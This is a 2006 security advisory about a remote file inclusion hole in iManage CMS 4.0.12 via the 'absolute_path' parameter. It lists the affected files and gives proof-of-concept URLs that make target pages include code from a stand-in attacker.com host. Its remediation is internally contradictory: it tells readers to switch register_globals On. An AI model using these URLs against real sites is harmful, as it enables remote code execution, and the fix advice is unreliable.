Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:13581
HistoryJul 24, 2006 - 12:00 a.m.

[ECHO_ADV_40$2006] iManage CMS <= 4.0.12 (absolute_path) Remote File Inclusion

2006-07-2400:00:00
vulners.com
31

ECHO.OR.ID
ECHO_ADV_40$2006

[ECHO_ADV_40$2006] iManage CMS <= 4.0.12 (absolute_path) Remote File Inclusion

Author : Ahmad Maulana a.k.a Matdhule
Date Found : July, 20th 2006
Location : Indonesia, Jakarta
web : http://advisories.echo.or.id/adv/adv40-matdhule-2006.txt
Critical Lvl : Highly critical
Impact : System access
Where : From Remote

Affected software description:

iManage CMS from Imaginex-Resource

Application     : iManage CMS
version         : 4.0.12 stable
URL             : http://www.imaginex-resource.com

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~~~

-----------------------component.php----------------------
....
&lt;?php
/**
*    iManage Version 4.0.12
*    Dynamic portal server and Content managment engine
*    03-02-2003
*
*    Copyright &#40;C&#41; 2000 - 2003 Imaginex-Resource
*
*    Site Name: iManage Version 4.0.12
*    File Name: rightComponent.php
*    Date: 31/01/2003
*     Version #: 4.0.12
*    Comments: Display all modules which are to be displayed on the right.
**/

include&#40;$absolute_path.&#39;/language/&#39;.$lang.&#39;/lang_components.php&#39;&#41;;
...
----------------------------------------------------------

Input passed to the &quot;absolute_path&quot; parameter in insert.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources

Affected files: 

articles.php
contact.php
displaypage.php
faq.php
mainbody.php
news.php
registration.php
whosOnline.php
components/com_calendar.php
components/com_forum.php
components/minibb/index.php
components/minibb/bb_admin.php
components/minibb/bb_plugins.php
modules/mod_calendar.php
modules/mod_browser_prefs.php
modules/mod_counter.php
modules/mod_online.php
modules/mod_stats.php
modules/mod_weather.php
themes/bizz.php
themes/default.php
themes/simple.php
themes/original.php
themes/portal.php
themes/purple.php

and more :&#41;

Successful exploitation requires that &quot;register_globals= Off &quot;.

Proof Of Concept:
~~~~~~~~~~~~~~~~~

http://target.com/[path]/articles.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/contact.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/displaypage.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/faq.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/mainbody.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/news.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/registration.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/whosOnline.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/components/com_calendar.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/components/com_forum.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/components/minibb/index.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/modules/mod_calendar.php?absolute_path=http://attacker.com//inject.txt?

and more Affected files


Solution:
~~~~~~~~~
- Change register_globals= On 
  in php.ini
- Sanitize variable $absolute_path on affected files.

---------------------------------------------------------------------------
Shoutz:
~~~~~
~ solpot a.k.a chris, J4mbi  H4ck3r for the hacking lesson  :&#41; 
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S&#96;to,lirva32,anonymous
~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama
~ [email protected], [email protected]
~ #mardongan #jambihackerlink #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~~~
 
     matdhule[at]gmail[dot]com
     
-------------------------------- [ EOF ]----------------------------------